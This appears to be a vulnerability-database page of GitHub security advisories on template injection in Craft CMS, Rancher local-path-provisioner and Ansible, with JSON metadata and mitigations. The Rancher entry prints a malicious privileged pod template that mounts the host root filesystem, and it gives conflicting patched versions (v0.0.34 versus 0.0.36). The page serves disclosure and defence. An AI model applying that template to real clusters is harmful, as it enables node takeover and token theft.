Craft CMS Contains a Potential Remote Code Execution Vulnerability via Twig SSTI
Details

Craft CMS contains a potential remote code execution vulnerability via Twig SSTI. You must have administrator access and ALLOW_ADMIN_CHANGES must be enabled for this to work.

https://craftcms.com/knowledge-base/securing-craft#set-allowAdminChanges-to-false-in-production

Note: This is a follow-up to https://github.com/craftcms/cms/security/advisories/GHSA-f3cw-hg6r-chfv

Users should update to the patched versions (4.14.13 and 5.6.15) to mitigate the issue.

References

https://github.com/craftcms/cms/pull/17026

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.14.12"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-RC1"
            },
            {
              "fixed": "4.14.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.6.14"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0-RC1"
            },
            {
              "fixed": "5.6.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-46731"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-05-05T19:35:37Z",
    "nvd_published_at": "2025-05-05T20:15:21Z",
    "severity": "HIGH"
  },
  "details": "Craft CMS contains a potential remote code execution vulnerability via Twig SSTI. You must have administrator access and `ALLOW_ADMIN_CHANGES` must be enabled for this to work.\n\nhttps://craftcms.com/knowledge-base/securing-craft#set-allowAdminChanges-to-false-in-production\n\nNote: This is a follow-up to https://github.com/craftcms/cms/security/advisories/GHSA-f3cw-hg6r-chfv\n\nUsers should update to the patched versions (4.14.13 and 5.6.15) to mitigate the issue.\n\n### References\nhttps://github.com/craftcms/cms/pull/17026",
  "id": "GHSA-7c58-g782-9j38",
  "modified": "2025-05-05T22:07:56Z",
  "published": "2025-05-05T19:35:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-7c58-g782-9j38"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-f3cw-hg6r-chfv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46731"
    },
    {
      "type": "WEB",
      "url": "https://craftcms.com/knowledge-base/securing-craft#set-allowAdminChanges-to-false-in-production"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/craftcms/cms"
    },
    {
      "type": "WEB",
      "url": "http://github.com/craftcms/cms/pull/17026"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Craft CMS Contains a Potential Remote Code Execution Vulnerability via Twig SSTI"
}

GHSA-7FXV-8WR2-MFC4

Vulnerability from github – Published: 2026-05-11 16:15 – Updated: 2026-06-09 02:00
VLAI
Summary
Local Path Provisioner Vulnerable to HelperPod Template Injection
Details

Impact

A malicious user with permission to edit the local-path-config ConfigMap in the local-path-storage namespace can manipulate the helperPod.yaml template used by rancher/local-path-provisioner.

The helperPod.yaml template is loaded by the provisioner and used to create HelperPods during PVC provisioning and cleanup operations. However, the template is not sufficiently validated before use. Security-sensitive fields such as securityContext.privileged, hostPath volumes, and Linux capabilities can be injected into the template.

Example malicious HelperPod template:

apiVersion: v1
kind: Pod
metadata:
  name: helper-pod
spec:
  containers:
  - name: helper-pod
    image: docker.io/kindest/local-path-helper:v20230510-486859a6
    imagePullPolicy: IfNotPresent
    securityContext:
      privileged: true
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
      type: Directory

When a PVC operation triggers HelperPod creation, the provisioner creates the HelperPod using the attacker-controlled template. This can result in a privileged pod running on the target node with the host root filesystem mounted.

This may allow the attacker to access sensitive host files, read ServiceAccount tokens from other pods on the same node, access other tenants' local-path volume data, or modify files on the host node.

Expected Behavior:

  • The HelperPod template should not allow privileged containers.
  • The HelperPod template should not allow arbitrary hostPath mounts.
  • Security-sensitive fields in helperPod.yaml should be validated or rejected before the provisioner creates HelperPods.

Patches

This vulnerability is addressed by validating the HelperPod template loaded from the local-path-config ConfigMap before it is used to create HelperPods.

The fix ensures that unsafe fields such as privileged security contexts, hostPath volumes, and other dangerous pod security settings are rejected. This prevents an attacker with ConfigMap edit permission from injecting a malicious HelperPod template that grants access to the host node.

Previously, a malicious user could modify helperPod.yaml to cause the provisioner to create a privileged HelperPod with the host root filesystem mounted, potentially leading to node-level compromise and ServiceAccount token theft.

With this fix, HelperPod templates containing unsafe security-sensitive fields are denied, and only safe HelperPod configurations are accepted.

Patched versions of local-path-provisioner include releases v0.0.34 and later.

No patches are provided for earlier releases, as they do not include the necessary HelperPod template validation logic.

Workarounds

Users should upgrade to a patched version of local-path-provisioner to fully mitigate this vulnerability.

As a temporary mitigation, users can restrict write access to the local-path-config ConfigMap in the local-path-storage namespace. Only trusted administrators should be allowed to update this ConfigMap.

Users may also mark the ConfigMap as immutable after deployment:

kubectl -n local-path-storage patch configmap local-path-config \
  --type merge -p '{"immutable": true}'

Additionally, enabling Kubernetes Pod Security Admission for the local-path-storage namespace can provide defense in depth. For example, enforcing the baseline policy can prevent privileged HelperPods from being created even if the template is modified:

kubectl label namespace local-path-storage \
  pod-security.kubernetes.io/enforce=baseline \
  pod-security.kubernetes.io/warn=restricted

These mitigations reduce the risk of exploitation, but upgrading to a patched release is required to fully address the issue.

References

If you have any questions or comments about this advisory:

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/rancher/local-path-provisioner"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.36"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44543"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-269"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-11T16:15:48Z",
    "nvd_published_at": "2026-05-28T17:16:30Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nA malicious user with permission to edit the `local-path-config` ConfigMap in the `local-path-storage` namespace can manipulate the `helperPod.yaml` template used by `rancher/local-path-provisioner`.\n\nThe `helperPod.yaml` template is loaded by the provisioner and used to create HelperPods during PVC provisioning and cleanup operations. However, the template is not sufficiently validated before use. Security-sensitive fields such as `securityContext.privileged`, `hostPath` volumes, and Linux capabilities can be injected into the template.\n\nExample malicious HelperPod template:\n\n~~~yaml\napiVersion: v1\nkind: Pod\nmetadata:\n  name: helper-pod\nspec:\n  containers:\n  - name: helper-pod\n    image: docker.io/kindest/local-path-helper:v20230510-486859a6\n    imagePullPolicy: IfNotPresent\n    securityContext:\n      privileged: true\n    volumeMounts:\n    - name: host-root\n      mountPath: /host\n  volumes:\n  - name: host-root\n    hostPath:\n      path: /\n      type: Directory\n~~~\n\nWhen a PVC operation triggers HelperPod creation, the provisioner creates the HelperPod using the attacker-controlled template. This can result in a privileged pod running on the target node with the host root filesystem mounted.\n\nThis may allow the attacker to access sensitive host files, read ServiceAccount tokens from other pods on the same node, access other tenants\u0027 local-path volume data, or modify files on the host node.\n\nExpected Behavior:\n\n- The HelperPod template should not allow privileged containers.\n- The HelperPod template should not allow arbitrary `hostPath` mounts.\n- Security-sensitive fields in `helperPod.yaml` should be validated or rejected before the provisioner creates HelperPods.\n\n### Patches\n\nThis vulnerability is addressed by validating the HelperPod template loaded from the `local-path-config` ConfigMap before it is used to create HelperPods.\n\nThe fix ensures that unsafe fields such as privileged security contexts, hostPath volumes, and other dangerous pod security settings are rejected. This prevents an attacker with ConfigMap edit permission from injecting a malicious HelperPod template that grants access to the host node.\n\nPreviously, a malicious user could modify `helperPod.yaml` to cause the provisioner to create a privileged HelperPod with the host root filesystem mounted, potentially leading to node-level compromise and ServiceAccount token theft.\n\nWith this fix, HelperPod templates containing unsafe security-sensitive fields are denied, and only safe HelperPod configurations are accepted.\n\nPatched versions of local-path-provisioner include releases v0.0.34 and later.\n\nNo patches are provided for earlier releases, as they do not include the necessary HelperPod template validation logic.\n\n### Workarounds\n\nUsers should upgrade to a patched version of local-path-provisioner to fully mitigate this vulnerability.\n\nAs a temporary mitigation, users can restrict write access to the `local-path-config` ConfigMap in the `local-path-storage` namespace. Only trusted administrators should be allowed to update this ConfigMap.\n\nUsers may also mark the ConfigMap as immutable after deployment:\n\n~~~bash\nkubectl -n local-path-storage patch configmap local-path-config \\\n  --type merge -p \u0027{\"immutable\": true}\u0027\n~~~\n\nAdditionally, enabling Kubernetes Pod Security Admission for the `local-path-storage` namespace can provide defense in depth. For example, enforcing the `baseline` policy can prevent privileged HelperPods from being created even if the template is modified:\n\n~~~bash\nkubectl label namespace local-path-storage \\\n  pod-security.kubernetes.io/enforce=baseline \\\n  pod-security.kubernetes.io/warn=restricted\n~~~\n\nThese mitigations reduce the risk of exploitation, but upgrading to a patched release is required to fully address the issue.\n\n### References\n\nIf you have any questions or comments about this advisory:\n\n- Contact the [SUSE Rancher Security team](https://github.com/rancher/rancher/security/policy) for security related inquiries.\n- Open an issue in the [Rancher](https://github.com/rancher/rancher/issues/new/choose) repository.",
  "id": "GHSA-7fxv-8wr2-mfc4",
  "modified": "2026-06-09T02:00:33Z",
  "published": "2026-05-11T16:15:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rancher/local-path-provisioner/security/advisories/GHSA-7fxv-8wr2-mfc4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44543"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rancher/local-path-provisioner"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Local Path Provisioner Vulnerable to HelperPod Template Injection"
}

GHSA-7J69-QFC3-2FQ9

Vulnerability from github – Published: 2023-12-13 00:30 – Updated: 2024-09-16 21:08
VLAI
Summary
Ansible template injection vulnerability
Details

A template injection flaw was found in Ansible where a user's controller internal templating operations may remove the unsafe designation from template data. This issue could allow an attacker to use a specially crafted file to introduce templating injection when supplying templating data.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "ansible-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.16.0"
            },
            {
              "fixed": "2.16.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "ansible-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.15.0"
            },
            {
              "fixed": "2.15.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "ansible-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.14.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-5764"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-12-20T20:30:30Z",
    "nvd_published_at": "2023-12-12T22:15:22Z",
    "severity": "MODERATE"
  },
  "details": "A template injection flaw was found in Ansible where a user\u0027s controller internal templating operations may remove the unsafe designation from template data. This issue could allow an attacker to use a specially crafted file to introduce templating injection when supplying templating data.",
  "id": "GHSA-7j69-qfc3-2fq9",
  "modified": "2024-09-16T21:08:57Z",
  "published": "2023-12-13T00:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5764"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ansible/ansible/commit/270b39f6ff02511a2199505161218cbd1a5ae34f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ansible/ansible/commit/7239d2d371bc6e274cbb7314e01431adce6ae25a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ansible/ansible/commit/fea130480d261ea5bf6fcd5cf19a348f1686ceb1"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2023:7773"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2023-5764"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2247629"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ansible/ansible"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/X7Q6CHPVCHMZS5M7V22GOKFSXZAQ24EU"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Ansible template injection vulnerability"
}

Mitigation
Architecture and Design

Choose a template engine that offers a sandbox or restricted mode, or at least limits the power of any available expressions, function calls, or commands.

Mitigation
Implementation

Use the template engine's sandbox or restricted mode, if available.

No CAPEC attack patterns related to this CWE.